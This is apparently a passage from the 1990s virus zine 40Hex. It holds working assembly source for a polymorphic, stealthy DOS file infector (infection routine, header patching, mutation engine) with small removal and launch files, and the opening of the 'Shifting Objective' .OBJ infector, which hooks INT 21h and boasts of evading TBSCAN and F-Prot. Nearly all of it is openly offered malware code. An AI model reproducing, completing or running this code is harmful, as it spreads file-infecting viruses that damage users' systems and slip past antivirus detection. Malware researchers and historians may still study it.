                push    dx
                push    si
                push    di
                push    ds
                push    cs
                pop     ds
                mov     ax,HeaderLength
                cwd
                mov     si,ds:SFT_FilePosL
                mov     di,ds:SFT_FilePosH
                call    CalcCounter
                add     cx,bx
                sub     si,bx
                mov     ds:HeaderCount,bx
                push    cx
                call    CalcImageSize
                pop     cx
                xor     bx,bx
                sub     si,ax
                sbb     di,dx
                jb      VirusOfsOk
                mov     bx,ds:TotalSize
                ja      VirusOfsOk
                cmp     si,bx
                ja      VirusOfsOk
                mov     bx,si
VirusOfsOk:     mov     ds:VirusOffset,bx
                add     si,ax
                adc     di,dx
                call    CalcCounter
                mov     ds:ImageCount,bx
                cmp     ds:HeaderCount,bx
                jbe     HeaderCountOk
                mov     ds:HeaderCount,bx
HeaderCountOk:  add     ax,ds:TotalSize
                add     dx,0
                call    CalcCounter
                mov     ds:VirusCount,bx
                mov     ds:OverlayCount,cx
                add     cx,bx
                mov     ds:StealthCount,cx
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                ret

CalcCounter:    push    ax
                push    dx
                xor     bx,bx
                sub     ax,si
                sbb     dx,di
                jb      CounterOk
                mov     bx,cx
                jne     CounterOk
                cmp     ax,cx
                jae     CounterOk
                xchg    ax,bx
CounterOk:      sub     cx,bx
                add     si,bx
                adc     di,0
                pop     dx
                pop     ax
                ret

ChangeHeader:   cmp     cs:HeaderCount,0
                je      NoHeaderChange
                push    ax
                push    bx
                push    cx
                push    si
                push    di
                push    es
                push    dx
                push    ds
                call    CalcImageSize
                call    LastSFT
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],dx
                call    ReadVirus
                jne     WriteError
                mov     cx,ds:HeaderCount
                mov     di,offset Buffer + Header
                add     di,ds:DecryptorSize
                add     di,ds:SFT_FilePosL
                pop     ds
                pop     si
                push    si
                push    ds
                cld
                rep     movsb
                and     cs:MutationFlags,07fh
                call    Mutate
                call    CalcImageSize
                call    LastSFT
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],dx
                push    cs
                pop     ds
                mov     cx,ds:TotalSize
                mov     dx,offset Buffer
                call    DosCall
WriteError:     call    LastSFT
                mov     ax,cs:SFT_FilePosL
                mov     word ptr ds:[si+15h],ax
                mov     ax,cs:SFT_FilePosH
                mov     word ptr ds:[si+17h],ax
                pop     ds
                pop     dx
                pop     es
                pop     di
                pop     si
                pop     cx
                pop     bx
                pop     ax
NoHeaderChange: ret

ReadVirus:      call    MutationParms
                push    cs:DosFunctionOfs
                call    StackFrame
                push    ds:[si]
                push    ds:[si+22]
                push    cs
                pop     ds
                mov     cx,ds:TotalSize
                mov     dx,offset Buffer
                call    ReadCall
                pop     ds:[si+22]
                pop     ds:[si]
                push    cs
                pop     ds
                pop     ds:DosFunctionOfs
                or      ds:MutationFlags,80h
                call    Mutate
                push    cs
                pop     es
                mov     cx,20h
                mov     si,offset VirusID
                mov     di,offset Buffer + VirusID
                add     di,ds:DecryptorSize
                cld
                repe    cmpsb
                ret

;*****************************************************************************;
;                                                                             ;
; Write the virus to an existing file                                         ;
;                                                                             ;
;*****************************************************************************;

Fail:           mov     al,3
                iret

InfectFile:     push    cs:DosFunctionOfs
                push    ax
                push    cx
                push    dx
                push    si
                push    ds
                xor     ax,ax
                mov     ds,ax
                mov     ax,offset Fail - VirusTop
                xchg    ax,ds:[90h]
                push    ax
                mov     ax,cs
                xchg    ax,ds:[92h]
                push    ax
                push    ds
                push    cs
                pop     ds
                mov     ax,ds:SFT_FileSizeL
                cmp     al,0ddh
                stc
                je      InfectError
                mov     ds:FileSizeL,ax
                mov     ax,ds:SFT_FileSizeH
                mov     ds:FileSizeH,ax
                call    CalcImageSize
                sub     ax,ds:SFT_FileSizeL
                sbb     dx,ds:SFT_FileSizeH
                jc      InfectError
                call    Mutate
                call    LastSFT
                and     byte ptr ds:[si+2],0feh
                or      byte ptr ds:[si+2],2
                and     byte ptr ds:[si+4],3ah
                mov     ax,ds:[si+11h]
                mov     ds:[si+15h],ax
                mov     ax,ds:[si+13h]
                mov     ds:[si+17h],ax
                push    cs
                pop     ds
                mov     cx,cs:TotalSize
                mov     dx,offset Buffer
                call    WriteCall
                jc      InfectError
                call    LastSFT
                xor     ax,ax
                mov     ds:[si+15h],ax
                mov     ds:[si+17h],ax
                call    UpdateHeader
                mov     cx,HeaderLength
                mov     dx,offset Header
                call    WriteCall
InfectError:    call    LastSFT
                mov     ax,cs:SFT_OpenMode
                mov     ds:[si+2],ax
                mov     al,cs:SFT_Attribute
                mov     byte ptr ds:[si+4],al
                mov     ax,cs:SFT_DeviceInfo
                mov     ds:[si+6],ah
                mov     ax,cs:SFT_FilePosL
                mov     ds:[si+17h],ax
                mov     ax,cs:SFT_FilePosH
                mov     ds:[si+19h],ax
                pop     ds
                pop     word ptr ds:[92h]
                pop     word ptr ds:[90h]
                pop     ds
                pop     si
                pop     dx
                pop     cx
                pop     ax
                pop     cs:DosFunctionOfs
                ret

;*****************************************************************************;
;                                                                             ;
; Library used by all parts of the virus                                      ;
;                                                                             ;
;*****************************************************************************;

UpdateHeader:   push    cs
                pop     ds
                call    CalcImageSize
                mov     cx,10h
                cmp     dx,cx
                jae     HeaderOk
                div     cx
                sub     ax,ds:HeaderSize
                mov     ds:ExeCS,ax
                mov     ds:ExeIP,dx
                mov     dx,ds:TotalSize
                mov     ds:Signature,dx
                mov     cl,4
                shr     dx,cl
                inc     dx
                add     ax,dx
                mov     ds:ExeSS,ax
                mov     ds:ExeSP,400h
                call    CalcImageSize
                add     ax,ds:TotalSize
                adc     dx,0
                call    SplitImageSize
                mov     ax,(MemorySize - VirusSize + 3fh) / 10h
                add     ax,ds:MinMem
                mov     ds:MinMem,ax
                cmp     ds:MaxMem,ax
                jae     ComFileHeader
                mov     ds:MaxMem,ax
ComFileHeader:  call    CalcImageSize
                jnc     HeaderOk
                sub     ax,3
                mov     ds:JumpOpcode,0e9h
                mov     ds:JumpDisp,ax
HeaderOk:       ret

SplitImageSize: mov     cx,200h
                and     dx,0fh
                div     cx
                mov     ds:PartPage,dx
                add     dx,-1
                adc     ax,0
                mov     ds:PageCount,ax
                ret

FindHandle:     push    ax
                push    cx
                push    ds
                push    cs
                pop     ds
                mov     ax,bx
                cmp     bx,-1
                je      EmptyHandle
                call    GetSFTindex
                jc      HandleNotFound
EmptyHandle:    mov     cx,MaxFiles
                mov     si,offset FileTable - FileTableEntry
NextHandle:     add     si,FileTableEntry
                cmp     ds:[si],ax
                loopne  NextHandle
                pushf
                jne     SpeedUp
                cmp     ax,-1
                je      SpeedUp
                push    dx
                push    si
                push    di
                push    es
                push    cs
                pop     es
                cld
                lodsw
                push    ax
                lodsw
                mov     ds:FileSizeL,ax
                lodsw
                mov     ds:FileSizeH,ax
                inc     si
                mov     di,offset Header
                rep     movsb
                pop     ax
                call    FindSFT
                mov     cx,19h
                mov     di,offset SFT_Entry
                rep     movsb
                pop     es
                pop     di
                call    MutationParms
                pop     si
                pop     dx
SpeedUp:        popf
HandleNotFound: pop     ds
                pop     cx
                pop     ax
                ret

MutationParms:  push    cs
                pop     ds
                mov     ax,ds:FileSizeL
                mov     cx,ax
                add     cx,ds:FileSizeH
                mov     ds:Randomize,cx
                mov     cx,VirusSize + 20h
                add     al,cl
                neg     al
                add     al,0ddh
                xor     ah,ah
                add     cx,ax
                mov     ds:TotalSize,cx
                and     al,3fh
                add     al,20h
                sub     cx,ax
                mov     ds:CodeSize,cx
                mov     ds:DecryptorSize,ax
                call    CalcImageSize
                jnc     ExeOffset
                add     ax,100h
                mov     dx,300h + ComID
                jmp     SetOffset
ExeOffset:      and     ax,00fh
                mov     dx,000h + ExeID
SetOffset:      mov     ds:DecryptorOfs,ax
                mov     ds:ComExe,dl
                mov     ds:MutationFlags,dh
                ret

CalcImageSize:  cmp     cs:Header,"MZ"
                je      ExeFileHeader
                cmp     cs:Header,"ZM"
                je      ExeFileHeader
                mov     ax,1234h
FileSizeL       equ     word ptr [$ - VirusTop - 2]
                mov     dx,1234h
FileSizeH       equ     word ptr [$ - VirusTop - 2]
                stc
                ret
ExeFileHeader:  mov     ax,cs:PageCount
                mov     cx,cs:PartPage
                jcxz    ExactPage
                dec     ax
ExactPage:      mov     dx,200h
                mul     dx
                add     ax,cx
                clc
                ret

SetMCB:         mov     ds:[bx+3],cx
                mov     cl,"M"
                xchg    cl,ds:[bx]
                mov     ds,ax
                mov     ds:[bx],cl
                mov     ds:[bx+1],bx
                mov     ds:[bx+3],dx
                ret

FindMCB:        mov     ax,1234h
FirstMCB        equ     word ptr [$ - VirusTop - 2]
                xor     bx,bx
                mov     cx,cs
                dec     cx
FindNext:       mov     ds,ax
                mov     dx,ax
                inc     ax
                add     ax,ds:[bx+3]
                cmp     ax,cx
                jb      FindNext
                ret

;*****************************************************************************;
;                                                                             ;
; Mutation engine                                                             ;
;                                                                             ;
;*****************************************************************************;
;                                                                             ;
; Entry: Randomize     = Random Number                                        ;
;        DecryptorOfs  = Decryptor offset (Not needed for decryption)         ;
;        CodeSize      = Code size                                            ;
;        MutationFlags = bit 0: assume decryptor ds=cs (com-files)            ;
;                        bit 1: assume decryptor ss=cs (com-files)            ;
;                        bit 7: decrypt mutated virus  (stealth)              ;
;        DecryptorSize = Decryptor size                                       ;
;                                                                             ;
;        cs:[VirusTop] = Code (Not needed for decryption)                     ;
;        cs:[Buffer]   = Buffer (Mutated virus)                               ;
;                                                                             ;
;*****************************************************************************;

Mutate:         push    bx
                push    di
                push    ds
                push    es
                push    cs
                pop     es
                push    cs
                pop     ds
                mov     cx,1234h
CodeSize        equ     word ptr [$ - VirusTop - 2]
                mov     di,offset Buffer
                push    cx                      ; save cx for later use.
                call    InitMutate              ; generate decryptor
                pop     cx                      ; restore cx
                test    ds:MutationFlags,80h    ; 0=encryption, 80h=decryption
                jnz     EncryptDecrypt
                xor     si,si
                cld                             ; copy the code that must be
                rep     movsb                   ;   encrypted

Param1          equ     word ptr [$ - VirusTop + 1]
Param2          equ     word ptr [$ - VirusTop + 4]
Param3          equ     word ptr [$ - VirusTop + 0ah]
Param4          equ     word ptr [$ - VirusTop + 13h]
Param5          equ     word ptr [$ - VirusTop + 17h]

EncryptOpcode   equ     byte ptr [$ - VirusTop + 10h]
CompareOpcode   equ     byte ptr [$ - VirusTop + 15h]
ConditionOpcode equ     byte ptr [$ - VirusTop + 19h]
AddOpcode       equ     byte ptr [$ - VirusTop + 0eh]

EncryptDecrypt: mov     bx,1234h                ; 0000  BB ?? ??
                mov     ax,1234h                ; 0003  B8 ?? ??
Repeat:         mov     dx,bx                   ; 0006  89 DA
                add     bx,1234h                ; 0008  81 C3 ?? ??
                mov     cx,ax                   ; 000C  89 C1
                add     ax,bx                   ; 000E  01 D8
                add     cs:[bx+1234h],bl        ; 0010  2E 00 9F ?? ??
                sub     bx,1234h                ; 0015  81 EB ?? ??
                jnz     Repeat                  ; 0019  75 EF
                pop     es
                pop     ds
                pop     di
                pop     bx
MutationDone:   ret

JumpTable       equ     word ptr [$ - VirusTop]
                dw      InitReg - VirusTop              ; 3 bytes  ; 1  cl&02
                dw      SetDestenation - VirusTop       ; 0 bytes  ; 2  cl&03
                dw      IncReg - VirusTop               ; 4 bytes  ; 3  cl&08
                dw      MoveIndex - VirusTop            ; 2 bytes  ; 4  cl&10
                dw      Memory - VirusTop               ; 5 bytes  ; 5  cl&20
                dw      Compare - VirusTop              ; 6 bytes  ; 6  cl&40
                dw      PrefetchFix - VirusTop          ; 2 bytes  ; 7  cl&80

TrashTable      equ     word ptr [$ - VirusTop]
                dw      IncDecTrash - VirusTop          ; 1 byte   ; 1
                dw      ZeroReg - VirusTop              ; 2 bytes  ; 2
                dw      JumpTrash - VirusTop            ; 2 bytes  ; 3
                dw      InitTrash - VirusTop            ; 3 bytes  ; 4
                dw      AddSubTrash - VirusTop          ; 4 bytes  ; 5
                dw      MemoryTrash - VirusTop          ; 5 bytes  ; 6
                dw      MoveTrash - VirusTop            ; 2 bytes  ; 7

OpcodeTable     equ     byte ptr [$ - VirusTop]
                db      00h,28h,30h,30h
                db      79h,78h,75h,75h

MoveIndex:      xor     cl,30h
                sub     ch,2
Registers       equ     word ptr [$ - VirusTop + 1]
IndexReg        equ     byte ptr [$ - VirusTop + 1]
CounterReg      equ     byte ptr [$ - VirusTop + 2]
                db      0bbh,?,?
                push    cx
                xchg    ax,cx
                mov     cx,0c089h
                cmp     bl,bh
                jne     MakeMove
                mov     ds:FlagsOk,0ebh
CryptReg        equ     byte ptr [$ - VirusTop + 1]
                db      0b3h,?
                test    al,08h
                mov     al,0d8h
                jz      SetAddOpcode
                mov     al,0d0h
SetAddOpcode:   mov     ds:AddOpcode[1],al
                call    Random
                push    bx
                and     ax,3
                xchg    ax,bx
                mov     al,OpcodeTable[bx]
                mov     ah,0c0h
                inc     ax
                pop     bx
                mov     ds:AddOpcode,al
                xchg    ax,cx
MakeMove:       call    Random
                and     al,2
                jnz     DirectionOk
                xchg    bl,bh
DirectionOk:    rol     bl,1
                rol     bl,1
                rol     bl,1
                mov     ah,bl
                or      ah,bh
                or      ax,cx
                stosw
                pop     cx
                ret

                db      2
MoveTrash:      push    cx
                call    RandomRegFF
                and     ax,0707h
                xchg    ax,bx
                mov     cx,0c089h
                jmp     MakeMove

InitMutate:     mov     ds:Reserved,11h
                call    Random
                call    ResetRegZero
                push    ax
                mov     bx,1234h
DecryptorOfs    equ     word ptr [$ - VirusTop - 2]
                mov     si,1234h
DecryptorSize   equ     word ptr [$ - VirusTop - 2]
                add     bx,si
                add     si,di
                mov     dx,bx
                mov     ds:Param3,1
                mov     ds:Param4,si
                mov     ds:Param5,ax
                call    Random
                and     ax,3
                mov     bx,8000h
                mov     ds:JumpType,al
                dec     ax
                js      Ok
                xchg    ax,bx
                mov     ax,7fffh
                je      Ok
                xor     ax,ax
                xor     bx,bx
Ok:             push    ax
                call    Random
                pop     ax
                jpe     Increase
                add     ax,cx
                add     dx,cx
                neg     ds:Param3
                add     ds:Param4,cx
                mov     cx,1903h
                jmp     Decrease
Increase:       xchg    ax,bx
                sub     ax,cx
                mov     cx,1703h
Decrease:       mov     ds:Param1,ax
                call    Random
                and     al,10h
                or      al,0ebh
                mov     ds:CmpSub,al
                mov     ds:CompareOpcode[1],al
                test    al,10h
                pop     ax
                jnz     UseCompare
                add     ds:Param3,ax
                jmp     Skip
UseCompare:     add     ds:Param1,ax
Skip:           mov     ax,ds:Param1
                sub     dx,ax
                add     ax,ds:Param3
                sub     ds:Param4,ax
Again:          mov     bx,offset JumpTable - 2
                cld
                call    Choose
                call    bx
                or      cl,cl
                jne     Again
                ret

Choose:         call    Random
                and     ax,300h
                push    cx
ChooseNext:     inc     ax
                ror     cl,1
                sbb     ah,0
                jae     ChooseNext
                pop     cx
                dec     ax
                and     ax,7
                jz      Trash
                or      cl,1
                add     bx,ax
                add     bx,ax
                mov     bx,ds:[bx]
                ret

Trash:          inc     bx
                mov     ax,si
                sub     ax,di
                jbe     Ready
                sub     al,ch
                ja      NotReady
Ready:          and     cl,0feh
                ret
NotReady:       push    bx
                push    cx
                push    ds:Randomize
                mov     bx,offset TrashTable - 2
                mov     cl,11111110b
                mov     ch,al
                call    Choose
                cmp     ch,ds:[bx-1]
                jae     SizeOk
                mov     bx,offset IncDecTrashAbs
SizeOk:         call    bx
                pop     ds:Randomize
                pop     cx
                pop     bx
                ret

                db      3
InitTrash:      call    RandomRegFF
                or      al,0b8h
StoreRandom:    stosb
                call    RealRandom
                stosw
                ret

InitReg:        xor     cl,06h
                sub     ch,6
                push    cx
                mov     ch,00001111b
                call    RandomReg
                mov     ds:CounterReg,al
                mov     ds:CryptReg,al
                push    ax
                or      al,0b8h
                stosb
                mov     ax,ds:Param1
                stosw
                pop     ax
                mov     bx,cx
                cmp     al,3
                je      IndexRegOk
GetIndexReg:    mov     ch,11101000b
                call    RandomReg
IndexRegOk:     mov     ds:IndexReg,al
                or      ds:Reserved,cl
                cmp     al,ds:CounterReg
                jne     NoCryptReg
                mov     ch,00001111b
                call    RandomReg
                mov     ds:CryptReg,al
                or      al,0b8h
                stosb
                call    Random
                mov     ds:Param2,ax
                stosw
                or      bl,cl
NoCryptReg:     or      ds:Reserved,bl
                pop     cx
                ret

SetDestenation: xor     cl,1ch
                sub     ch,2
                mov     ds:JumpDestenation,di
ResetRegZero:   mov     ds:RegZero,0ffh
                jmp     ResetFlagsOk

                db      1
IncDecTrashAbs  equ     byte ptr [$ - VirusTop]
IncDecTrash:    call    RandomRegFF
                and     ah,8
                or      al,ah
                or      al,40h
Compress1:      stosb
                jmp     ResetFlagsOk

                db      2
FlagsOk         equ     byte ptr [$ - VirusTop]
JumpTrash:      jb      IncDecTrash
                call    RealRandom
                mov     al,75h
                jpe     StoreJump
                mov     al,78h
StoreJump:      stosw
                ret

Memory:         xor     cl,20h
                sub     ch,5
                mov     al,ds:IndexReg
                sub     al,5
                ja      RegOk1
                mov     al,3
                jb      RegOk2
RegOk1:         dec     ax
RegOk2:         or      al,84h
                xchg    ax,bx
                call    Random
                and     al,4
                mov     ah,ds:CryptReg
                or      al,ah
                rol     al,1
                rol     al,1
                rol     al,1
                or      al,bl
                push    ax
                call    MemoryOpcode
                test    ds:MutationFlags,80h
                jnz     Decryptor
Encryptor:      xor     bl,1
Decryptor:      mov     al,OpcodeTable[bx]
                mov     ds:EncryptOpcode[1],al
                pop     ax
                stosb
                and     al,20h
                or      al,87h
                cmp     ah,ds:CounterReg
                jne     NotEqual
                or      al,9fh
NotEqual:       mov     ds:EncryptOpcode[2],al
                xchg    ax,dx
                stosw
SetStatus:      test    cl,38h
                jnz     ResetFlagsOk
                or      cl,40h
ResetFlagsOk:   mov     ds:FlagsOk,0ebh
                ret

                db      2
ZeroReg:        call    RandomRegFF
                not     cl
                and     ds:RegZero,cl
                xchg    al,ah
                and     al,1ah
                test    al,18h
                jpo     OpcodeOk
                xor     al,10h
OpcodeOk:       mov     cl,3
                mov     ch,ah
                rol     ah,cl
                or      ah,ch
                or      ax,0c021h
                stosw
SetFlagsOk:     mov     ds:FlagsOk,072h
                ret

                db      5
RegZero         equ     byte ptr [$ - VirusTop + 1]
MemoryTrash:    db      0b5h,?
                not     ch
                and     ch,0fh
                jz      ZeroReg
                call    RandomRegFF
                and     ah,23h
                mov     cl,3
                rol     al,cl
                or      al,84h
                or      al,ah
                push    ax
                call    MemoryOpcode
                pop     ax
Compress2:      call    StoreRandom
                jmp     ResetFlagsOk

IncReg:         xor     cl,08h
                sub     ch,4
                mov     bx,ds:Param3
                xor     ds:EncryptOpcode[2],8
                mov     ax,ds:Registers
                cmp     al,ah
                je      Adjust
                test    cl,10h
                jz      DoNotAdjust
Adjust:         sub     dx,bx
DoNotAdjust:    call    AddSub
                jmp     SetStatus

Compare:        sub     ch,6
                xor     cl,0c0h
                mov     ax,ds:Param5
CmpSub          equ     byte ptr [$ - VirusTop + 1]
                db      0b3h,?
                xchg    ax,bx
                cmp     al,0fbh
                je      DoNotChange
                neg     bx
                call    AddSubLarge
                jmp     Jump
DoNotChange:    mov     ax,0f881h
                call    AddSubMore
JumpType        equ     byte ptr [$ - VirusTop + 1]
Jump:           db      0bbh,?,0
                mov     al,ds:OpcodeTable[bx+4]
                mov     ds:ConditionOpcode,al
                stosb
JumpDestenation equ     word ptr [$ - VirusTop + 1]
                db      0b8h,?,?
                sub     ax,di
                dec     ax
                jmp     Compress1

                db      4
AddSubTrash:    mov     al,81h
                stosb
                call    RandomRegFF
                and     ah,38h
                or      al,0c0h
                or      al,ah
                jmp     Compress2

PrefetchFix:    or      ch,ch
                je      DontFix
                mov     al,0ebh
                cmp     ds:FlagsOk,al
                je      JumpOpcodeOk
                mov     al,79h
JumpOpcodeOk:   stosb
                mov     ax,si
                sub     ax,di
                dec     ax
                jns     JumpOk
                xor     ax,ax
JumpOk:         stosb
DontFix:        and     cx,1
                ret

AddSub:         cmp     bx,2
                jg      AddSubLarge
                cmp     bx,-2
                jge     AddSubSmall
AddSubLarge:    call    Random
                mov     ax,0c081h
                jns     AddSubMore
                mov     ah,0e8h
                neg     bx
AddSubMore:     or      ah,ds:CounterReg
                push    ax
                mov     al,bl
                cbw
                cmp     ax,bx
                pop     ax
                je      AddSubByte
AddSubWord:     stosw
                xchg    ax,bx
                stosw
                ret
AddSubByte:     mov     al,83h
                stosw
                xchg    ax,bx
                stosb
Return:         ret
Sub1:           inc     bx
                mov     al,48h
AddSub1:        or      al,ds:CounterReg
                stosb
AddSubSmall:    or      bx,bx
                je      Return
                js      Sub1
Add1:           dec     bx
                mov     al,40h
                jmp     AddSub1

MemoryOpcode:   and     al,7
                cmp     al,6
                mov     al,1
                jne     NotBP
                mov     al,2
MutationFlags   equ     byte ptr [$ - VirusTop + 1]
NotBP:          db      0a8h,?
                jnz     DoNotOverride
                mov     al,2eh
                stosb
DoNotOverride:  call    Random
                and     ax,3
                xchg    ax,bx
                mov     al,ds:OpcodeTable[bx]
                stosb
                ret

RealRandom:     xor     ax,ax
                out     43h,al
                call    Random
                push    bx
                xchg    ax,bx
                in      al,40h
                xchg    al,ah
                in      al,40h
                add     ax,bx
                pop     bx
                ret

Random:         mov     ax,1234h
Randomize       equ     word ptr [$ - VirusTop - 2]
                ror     ax,1
                ror     ax,1
                ror     ax,1
                inc     ax
                mov     ds:Randomize,ax
                ret

RandomRegFF:    mov     ch,0ffh
RandomReg:      call    Random
RandomRegNext:  inc     ax
                and     al,7
                xchg    ax,cx
                mov     al,1
                rol     al,cl
                xchg    ax,cx
Reserved        equ     byte ptr [$ - VirusTop + 2]
                db      0f6h,0c1h,?
                jnz     RandomRegNext
                test    cl,ch
                jz      RandomRegNext
                or      ds:RegZero,cl
                ret

;*****************************************************************************;
;                                                                             ;
; Mutation engine ends here.                                                  ;
;                                                                             ;
;*****************************************************************************;

VirusEnd        equ     $

MaxFiles        equ     4
FileTable       equ     [$ - VirusTop]
FileTableEntry  equ     (HeaderLength + 7)
                db      (FileTableEntry * MaxFiles) dup(?)

dwa             macro   ident
ident           equ     word ptr [$ - VirusTop]
                dw      ?
                endm

dba             macro   ident
ident           equ     byte ptr [$ - VirusTop]
                db      ?
                endm

NewExeOfs       equ     dword ptr [$ - VirusTop]
                dwa     NewExeOfsL
                dwa     NewExeOfsH

SFT_Entry       equ     word ptr  [$ - VirusTop]
                dwa     SFT_HandleCount         ; 0
                dwa     SFT_OpenMode            ; 2
                dba     SFT_Attribute           ; 4
                dwa     SFT_DeviceInfo          ; 5
                dwa     SFT_DeviceInfoOfs       ; 7
                dwa     SFT_DeviceInfoSeg       ; 9
                dwa     SFT_Cluster             ; b
                dwa     SFT_Time                ; d
                dwa     SFT_Date                ; f
                dwa     SFT_FileSizeL           ; 11
                dwa     SFT_FileSizeH           ; 13
                dwa     SFT_FilePosL            ; 15
                dwa     SFT_FilePosH            ; 17

StealthNames    equ     byte ptr [$ - VirusTop]
                db      (8 * 0ah) dup(?)

Buffer          equ     byte ptr [$ - VirusTop]
                db      120h dup(?)

MemoryEnd       equ     $

;*****************************************************************************;
;                                                                             ;
; All good things must end. This virus ends here.                             ;
;                                                                             ;
;*****************************************************************************;

code ends

end EntryPoint

8<------------<remove.asm>-------------------------------------------------->8
code segment public 'code'
                assume  cs:code, ds:code, es:code
                org     100h

Main:           mov     ah,9
                mov     dx,offset Msg1
                int     21h
                mov     ax,0fdc8h
                mov     ds,ax
                mov     si,041f9h
                cmp     byte ptr ds:[si],09ah
                jne     Failed
                mov     byte ptr ds:[si],36h
                mov     word ptr ds:[si+1],16ffh
                mov     word ptr ds:[si+3],05eah
                push    cs
                pop     ds
                mov     ah,9
                mov     dx,offset Msg3
                int     21h
                jmp     Exit

Failed:         push    cs
                pop     ds
                mov     ah,9
                mov     dx,offset Msg2
                int     21h

Exit:           mov     ax,4c00h
                int     21h

Msg1            db      'Removing mirror from memory... 



Msg2            db      'Failed!',13,10,'



Msg3            db      'Ok!',13,10,'




code ends

end Main

8<--------------<remove.bat>------------------------------------------------>8
@echo off
remove
copy c:\dos\command.com c:\virus\command.com
8<--------<mirror.bat>------------------------------------------------------>8
copy c:\dos\command.com c:\virus\command.com
set comspec=c:\virus\command.com
mirror
40Hex Number 13 Volume 4 Issue 1                                      File 006

;????????????????????????????????????????????????????????????????????????
;?  Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]  ?
;?                                                                      ?
;?  Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms!  ?
;?                                                                      ?
;?  This virus breaks new bounds in viral technology, best I know }-)   ?
;?It infects .OBJ files that are set up to compile to simple, stand-    ?
;?alone .COM's.  The basic theory for this is the following:  It takes  ?
;?the pre-set compiling points of the modules in the .OBJ and moves them?
;?up in memory so Objective will have room to insert itself underneath. ?
;?When the file is compiled the virus is at the beginning of the file,  ?
;?and the original code follows BUT - the original code's memory offsets?
;?are what they were BEFORE the virus infected the .OBJ.  Therefore, all?
;?Objective has to do when it runs is go memory resident, and shift the ?
;?host code back down to where it starts at 100h in memory, and all is  ?
;?well.                                                                 ?
;?                                                                      ?
;?  Object files are basically a set of linked lists or fields, each    ?
;?with a three byte header.  The first byte is it's identity byte, while?
;?the following word is the size of the field - header.  The very last  ?
;?byte of each record is a simple checksum byte - this can be gained    ?
;?simply by adding up all of the bytes in the field save the three byte ?
;?header and taking the negative (not reg/inc reg) so that the entire   ?
;?field value + checksum = 0.  Each field type has it's own identity    ?
;?value, but we are only concerned with a few right now.                ?
;?                                                                      ?
;?They are as follows:                                                  ?
;?             80h  -  Starting field of a .OBJ file                    ?
;?             8Ch  -  External definitions                             ?
;?             8Ah  -  Ending field of a .OBJ file                      ?
;?             A0h  -  Regular Code                                     ?
;?             A2h  -  Compressed code (patterns/reiterated stuff)      ?
;?                                                                      ?
;?   In the A0h and A2h types of fields, there is one more thing that   ?
;?concerns us - the three bytes after the field size in the header      ?
;?are indicators of the location in memory the code will be at - the    ?
;?second and third byte form the word we will be concerned with, which  ?
;?is a simple offset from CS:0000 that the code will begin.  Since we   ?
;?are dealing with .COM files and want to put our virus at the beginning?
;?of the file, we set the position field of the virus to 100h and the   ?
;?positions of all the other A0h and A2h fields to their old position   ?
;?plus the virus size.  When the file is compiled, the virus will be    ?
;?at the beginning and the host will follow.  Attaching the virus to    ?
;?the .OBJ itself is simple enough - just save the 8Ah field in memory, ?
;?and write FROM IT'S OLD BEGINNING a header for your virus, your       ?
;?virus, then a checksum and the old 8Ah field.  At all times when      ?
;?modifying fields, the checksums must be fixed afterwards.             ?
;?                                                                      ?
;?   For the rest of the techniques that may be useful, I suggest you   ?
;?look at the following code for my Shifting Objective Virus.  I'd like ?
;?to thank The Nightmare for his ideas on this when we sat around bored ?
;?those days.  Greets go out to all of Phalcon/Skism, Urnst Kouch,      ?
;?Mark Ludwig, TridenT, NuKE, and the rest of the viral community.      ?
;?A special hello goes to Hermanni and Frisk.                           ?
;?                                                                      ?
;?                                           ?  Stormbringer [P/S]      ?
;?                                         ?????????????????????       ?
;?                                           ?                          ?
;????????????????????????????????????????????????????????????????????????
.model tiny
.radix 16
.code
        org 100
start:
        push    ds
        sub     ax,ax
        mov     ds,ax
        mov     ax,word ptr ds:[84]
        mov     word ptr cs:[Fake21IP],ax
        mov     ax,word ptr ds:[86]
        mov     word ptr cs:[Fake21CS],ax
        mov     ax,word ptr ds:[2f*4]
        mov     word ptr cs:[Fake2fIP],ax
        mov     ax,word ptr ds:[2f*4+2]
        mov     word ptr cs:[Fake2fCS],ax
        pop     ds
        
CheckIfResident:
        mov     ax,0feadh               ;Check if we are in memory
        call    fake21
        cmp     ax,0d00dh
        jne     ReserveMemory           ;Nope, go resident
        
        xor     ax,ax
        mov     ds,ax
        jmp     RestoreFile             ;Yep, skip it

ReserveMemory:
        mov     ax,ds
        dec     ax                      ;Go to MCB's
        mov     ds,ax
        sub     word ptr ds:[3],80      ;Grab 2K from this MCB
        sub     word ptr ds:[12],80     ;And from the Top of MEM in PSP
        xor     ax,ax
        mov     ds,ax                   ;We're gonna take up 2k in memory.
        sub     word ptr ds:[413],2     ;Reserve 2k from bios
        int     12h                     ;Get bios memory amount in K
        mov     cl,6
        shl     ax,cl
        
PutVirusInMemory:        
        push    cs
        pop     ds
        sub     ax,10                   ;NewSeg:0 was in AX, now Newseg:100
        mov     es,ax                   ;is start of reserved memory field....
        mov     di,100
        mov     si,100
        mov     cx,end_prog-start
        repnz   movsb                   ;Copy virus into memory

HookInterrupts:        
        xor     ax,ax        
        mov     ds,ax                   ;Hook Int 21h directly using
        cli                             ;Interrupt table
        mov     ax,offset Int21
        xchg    word ptr ds:[84],ax
        mov     word ptr es:[IP_21],ax
        mov     ax,es
        xchg    word ptr ds:[86],ax
        mov     word ptr es:[CS_21],ax
        sti
        

RestoreFile:            
        push    cs
        pop     es
        mov     ax,0deadh       ;Call interrupt handler to restore file
        
        pushf
        call    dword ptr ds:[84]
        
        mov     ax,4c01         ;Terminate if restore unsuccessful
        call    fake21

InstallCHeck:
        mov     ax,0d00dh       ;Tell prog we're already here
        iret

Int21:
        cmp     ax,0feadh
        je      InstallCheck    ;Is it an install check?
        cmp     ax,0deadh
        je      RestoreHost     ;Or a restoration request?
        cmp     ah,3e
        jz      fileclose       ;Fileclose - go infect it if it's an .OBJ
GoInt21:
        db      0ea             ;Jump back into int 21h handler
IP_21   dw      0
CS_21   dw      0

RestoreHost:
        push    es
        pop     ds

        mov     di,sp           ;Set iret to return to beginning of code
        mov     [di],100
        
        mov     di,100
        mov     si,offset Host  ;Shift host back down over virus in memory
        mov     cx,0f000
        repnz   movsb
        
        mov     si,ax
        xor     ax,ax
        mov     bx,ax           ;Set registers as if just executing
        mov     cx,ax
        mov     dx,ax
        mov     di,ax
